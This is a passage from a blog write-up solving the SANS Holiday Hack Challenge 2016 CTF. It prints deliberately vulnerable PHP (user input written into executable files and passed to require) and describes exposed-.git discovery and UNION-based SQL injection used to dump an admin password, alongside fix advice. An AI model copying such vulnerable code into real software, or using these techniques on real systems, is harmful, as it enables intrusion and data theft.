qWydvcGVyYXRpb24nXSAhPT0gIldyaXRlQ3Jhc2hEdW1wIiBhbmQKCSRvYmpbJ29wZXJhdGlvbiddICE9PSAiUmVhZENyYXNoRHVtcCIpKQoJewoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ29wZXJhdGlvbicgbXVzdCBiZSBzZXQgdG8gV3JpdGVDcmFzaER1bXAgb3IgUmVhZENyYXNoRHVtcC5cbiIpOwp9CmlmICggaXNzZXQoJG9ialsnZGF0YSddKSkgewoJaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiV3JpdGVDcmFzaER1bXAiKSB7CgkJIyBXcml0ZSBhIG5ldyBjcmFzaCBkdW1wIHRvIGRpc2sKCQlwcm9jZXNzQ3Jhc2hEdW1wKCRvYmpbJ2RhdGEnXSk7Cgl9CgllbHNlaWYgKCRvYmpbJ29wZXJhdGlvbiddID09PSAiUmVhZENyYXNoRHVtcCIpIHsKCQkjIFJlYWQgYSBjcmFzaCBkdW1wIGJhY2sgZnJvbSBkaXNrCgkJcmVhZENyYXNoZHVtcCgkb2JqWydkYXRhJ10pOwoJfQp9CmVsc2UgewoJIyBkYXRhIGtleSB1bnNldAoJZGllKCJGYXRhbCBlcnJvciEgSlNPTiBrZXkgJ2RhdGEnIG11c3QgYmUgc2V0LlxuIik7Cn0KZnVuY3Rpb24gcHJvY2Vzc0NyYXNoZHVtcCgkY3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7Cgkkb3V0cHV0ZmlsZW5hbWUgPSB0ZW1wbmFtKCRiYXNlcGF0aCwgImNyYXNoZHVtcC0iKTsKCXVubGluaygkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkb3V0cHV0ZmlsZW5hbWUgPSAkb3V0cHV0ZmlsZW5hbWUgLiAiLnBocCI7CgkkYmFzZW5hbWUgPSBiYXNlbmFtZSgkb3V0cHV0ZmlsZW5hbWUpOwoJCgkkY3Jhc2hkdW1wX2VuY29kZWQgPSAiPD9waHAgcHJpbnQoJyIgLiBqc29uX2VuY29kZSgkY3Jhc2hkdW1wLCBKU09OX1BSRVRUWV9QUklOVCkgLiAiJyk7IjsKCWZpbGVfcHV0X2NvbnRlbnRzKCRvdXRwdXRmaWxlbmFtZSwgJGNyYXNoZHVtcF9lbmNvZGVkKTsKCQkJCglwcmludCA8PDxFTkQKewoJInN1Y2Nlc3MiIDogdHJ1ZSwKCSJmb2xkZXIiIDogImRvY3MiLAoJImNyYXNoZHVtcCIgOiAiJGJhc2VuYW1lIgp9CgpFTkQ7Cn0KZnVuY3Rpb24gcmVhZENyYXNoZHVtcCgkcmVxdWVzdGVkQ3Jhc2hkdW1wKSB7CgkkYmFzZXBhdGggPSAiL3Zhci93d3cvaHRtbC9kb2NzLyI7CgljaGRpcigkYmFzZXBhdGgpOwkJCgkKCWlmICggISBpc3NldCgkcmVxdWVzdGVkQ3Jhc2hkdW1wWydjcmFzaGR1bXAnXSkpIHsKCQlkaWUoIkZhdGFsIGVycm9yISBKU09OIGtleSAnY3Jhc2hkdW1wJyBtdXN0IGJlIHNldC5cbiIpOwoJfQoKCWlmICggc3Vic3RyKHN0cnJjaHIoJHJlcXVlc3RlZENyYXNoZHVtcFsnY3Jhc2hkdW1wJ10sICIuIiksIDEpID09PSAicGhwIiApIHsKCQlkaWUoIkZhdGFsIGVycm9yISBjcmFzaGR1bXAgdmFsdWUgZHVwbGljYXRlICcucGhwJyBleHRlbnNpb24gZGV0ZWN0ZWQuXG4iKTsKCX0KCWVsc2UgewoJCXJlcXVpcmUoJHJlcXVlc3RlZENyYXNoZHVtcFsnY3Jhc2hkdW1wJ10gLiAnLnBocCcpOwoJfQkKfQoKPz4K

This looks promising! Lets pipe it in base64 decode:

root@kali:~/Desktop/hack/json# ./json-exception-readcrashdump.py | base64 -d
<?php 

# Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3

# Code from http://thisinterestsme.com/receiving-json-post-data-via-php/
# Make sure that it is a POST request.
if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){
 die("Request method must be POST\n");
}
 
# Make sure that the content type of the POST request has been set to application/json
$contentType = isset($_SERVER["CONTENT_TYPE"]) ? trim($_SERVER["CONTENT_TYPE"]) : '';
if(strcasecmp($contentType, 'application/json') != 0){
 die("Content type must be: application/json\n");
}
 
# Grab the raw POST. Necessary for JSON in particular.
$content = file_get_contents("php://input");
$obj = json_decode($content, true);
 # If json_decode failed, the JSON is invalid.
if(!is_array($obj)){
 die("POST contains invalid JSON!\n");
}

# Process the JSON.
if ( ! isset( $obj['operation']) or (
 $obj['operation'] !== "WriteCrashDump" and
 $obj['operation'] !== "ReadCrashDump"))
 {
 die("Fatal error! JSON key 'operation' must be set to WriteCrashDump or ReadCrashDump.\n");
}
if ( isset($obj['data'])) {
 if ($obj['operation'] === "WriteCrashDump") {
 # Write a new crash dump to disk
 processCrashDump($obj['data']);
 }
 elseif ($obj['operation'] === "ReadCrashDump") {
 # Read a crash dump back from disk
 readCrashdump($obj['data']);
 }
}
else {
 # data key unset
 die("Fatal error! JSON key 'data' must be set.\n");
}
function processCrashdump($crashdump) {
 $basepath = "/var/www/html/docs/";
 $outputfilename = tempnam($basepath, "crashdump-");
 unlink($outputfilename);
 
 $outputfilename = $outputfilename . ".php";
 $basename = basename($outputfilename);
 
 $crashdump_encoded = "<?php print('" . json_encode($crashdump, JSON_PRETTY_PRINT) . "');";
 file_put_contents($outputfilename, $crashdump_encoded);
 
 print <<<END
{
 "success" : true,
 "folder" : "docs",
 "crashdump" : "$basename"
}

END;
}
function readCrashdump($requestedCrashdump) {
 $basepath = "/var/www/html/docs/";
 chdir($basepath); 
 
 if ( ! isset($requestedCrashdump['crashdump'])) {
 die("Fatal error! JSON key 'crashdump' must be set.\n");
 }

 if ( substr(strrchr($requestedCrashdump['crashdump'], "."), 1) === "php" ) {
 die("Fatal error! crashdump value duplicate '.php' extension detected.\n");
 }
 else {
 require($requestedCrashdump['crashdump'] . '.php');
 } 
}

?>

And I got my sixt mp3: discombobulated-audio-6-XyzE3N9YqKNH.mp3

Vulnerability for this System:

The API allows arbitrary calls to the API and even stores random unsanitized input inside of server-side executed .php files. This would be really funny if such horror-shows would not exist in the real world. Sadly they do!

A better way would be to collect the Debug Data and place it somewhere, where it is not publicly accessible and of course not in any kind of executable format! One way would be as Datablob in the Database or as txt files in the filesystem.

There also should not be a public readable Read function without authentication. A better way would be a properly authenticated Website to view the Debug Data.

Now to the last mp3:

The Mobile Analytics Server (post authentication)

The Elf living in the Trees pointed out you should run nmap always with -sC for script scanning so thats what I did:

MahcBook-Pro:~ sebastianbrabetz$ nmap -sC analytics.northpolewonderland.com

Starting Nmap 7.00 ( https://nmap.org ) at 2016-12-29 23:08 CET
Nmap scan report for analytics.northpolewonderland.com (104.198.252.157)
Host is up (0.28s latency).
rDNS record for 104.198.252.157: 157.252.198.104.bc.googleusercontent.com
Not shown: 998 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
| ssh-hostkey: 
|   1024 5d:5c:37:9c:67:c2:40:94:b0:0c:80:63:d4:ea:80:ae (DSA)
|   2048 f2:25:e1:9f:ff:fd:e3:6e:94:c6:76:fb:71:01:e3:eb (RSA)
|_  256 4c:04:e4:25:7f:a1:0b:8c:12:3c:58:32:0f:dc:51:bd (ECDSA)
443/tcp open  https
| http-git: 
|   104.198.252.157:443/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Finishing touches (style, css, etc) 
| http-title: Sprusage Usage Reporter!
|_Requested resource was login.php
| ssl-cert: Subject: commonName=analytics.northpolewonderland.com
| Not valid before: 2016-12-07T17:35:00
|_Not valid after:  2017-03-07T17:35:00
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg: 
|_  http/1.1
Nmap done: 1 IP address (1 host up) scanned in 30.57 seconds

That looks interesting, a git repository! Lets wget and inspect that:

git2

Nice! The source code of the Analytics WebApp!

After digging around in the source code for a while something interested me in the query.php source:

 $query = "SELECT * ";
 $query .= "FROM `app_" . $type . "_reports` ";
 $query .= "WHERE " . join(' AND ', $where) . " ";
 $query .= "LIMIT 0, 100";

 if(isset($_REQUEST['save'])) {
 $id = gen_uuid();
 $name = "report-$id";
 $description = "Report generated @ " . date('Y-m-d H:i:s');
 $result = mysqli_query($db, "INSERT INTO `reports`
 (`id`, `name`, `description`, `query`)
 VALUES
 ('$id', '$name', '$description', '" . mysqli_real_escape_string($db, $query) . "')
 ");

 if(!$result) {
 reply(500, "Error saving report: " . mysqli_error($db));
 die();
 }

This looks injectable! Even though it uses mysqli_real_escape_string()! I guess the usage of the apostrophe as single tick is not covered by it…

Good thing there is also a sprusage.sql file in the git repository which gives me the exact layout of the mysql database!

So I intercepted the Website with Burp and played around with the query:

bildschirmfoto-2016-12-22-um-12-56-40Lets run this through repeater:

bildschirmfoto-2016-12-22-um-12-57-06

That looks fantastic! Lets look at it in the browser:

bildschirmfoto-2016-12-22-um-13-02-39

Nice now I have the administrator password!

Lets try to also grab the content of the mp3 table:

bildschirmfoto-2016-12-22-um-13-21-32

Okay looks like the UNION SELECT works! Now lets get creative with the query:

bildschirmfoto-2016-12-22-um-13-29-29

Lets forward this to the Browser:

bildschirmfoto-2016-12-22-um-13-39-25Now one last trick to get the mp3 blob out of there:

bildschirmfoto-2016-12-22-um-14-33-19Base64 to the rescue!!! I just needed to separate the two mp3s and run it through base64 -d…
Now I got my 7th and last mp3: discombobulatedaudio7.mp3

Vulnerability for this System:

User controlled variables were used inside an SQL query! Check out some OWASP presentations about Prepared Statements!

8) What are the names of the audio files you discovered from each system above? There are a total of SEVEN audio files (one from the original APK in Question 4, plus one for each of the six items in the bullet list above.)

Okay a recap of all 7 mp3s:

  1. SantaGram APK:
    discombobulatedaudio1.mp3
  2. The Mobile Analytics Server (via credentialed login access)
    discombobulatedaudio2.mp3
  3. The Dungeon Game
    discombobulatedaudio3.mp3
  4. The Debug Server
    debug-20161224235959-0.mp3
    a.k.a. discombobulatedaudio4.mp3
  5. The Banner Ad Server
    discombobulatedaudio5.mp3
  6. The Uncaught Exception Handler Server
    discombobulated-audio-6-XyzE3N9YqKNH.mp3
    a.k.a. discombobulatedaudio6.mp3
  7. The Mobile Analytics Server (post authentication)
    discombobulatedaudio7.mp3

Part 5: Discombobulated Audio

9) Who is the villain behind the nefarious plot.

To answer this question I joined the 7 mp3 with cat:

sebastianbrabetz$ cat *.mp3 > discombobulatedaudio1-7.mp3

Now lets load this up in audacity:

audacitySounds pretty sped up so I used the “change tempo” effect:

changetempoNow could nearly completely understand what is being said in the mp3:

Merry Christmas Santa Claus Or As I Was Known In Jeff(?)

So this must be the Passphrase for the last unopened door in the Corridor without the CranPi Interface:

clocktowerAHA! The Clock Tower!

Drumroll!

drwhoDr. Who kidnapped Santa and imprisoned him in a Reindeer Stable in 1978!!!

10) Why had the villain abducted Santa?

Errr… Because he is mentally Ill…

And thats when I got the Outro a second time:

outro1

outro2

Add On Challenge!

Collecting all 20 NetWars Coins! Here is the proof that I got them:

bildschirmfoto-2016-12-30-um-00-36-52

19 of the 20 Coins I could find with persistence and force of will, however the last sneaky one, on top of the NetWars Treehouse roof just did not want to be found the conventional way!

Thanks to @januszjasinski who gave me the Idea to cheat and remove the background object of the game:

bildschirmfoto-2016-12-24-um-22-35-42This way I was able to find the last missing coin! :-)

giphy

Epilogue: Bringing It All Home

This years Holiday Hack Challenge was awesome! I learned a lot and had a great time learning and solving the challenges!!!

I want to use this opportunity to thank all of you guys:

Ed Skoudis
Joshua Wright
Evan Booth
Bryce Galbraith
Tad Bennett
Franck Lecollinet
Phillip Smith
Tom Hessman
Daniel Pendolino
Brittiny Banks
Mike Cecil
Kimberly Elliott
Jim Halfpenny
Mark Baggett
Ron Bowes
Jeff McJunkin
Tim Medin
Lee Neely
Ninjula
Swing Republic
8 Bit Universe
Kendra Pendolino
Jason Blanchard
Laura Marchington
Lynn Schifano
Joshua Skoudis
Sabrina Smith
Ethan Wright
Tom VanNorman

And anyone else who helped making this happen! <3

Posted in miscellaneous | Leave a comment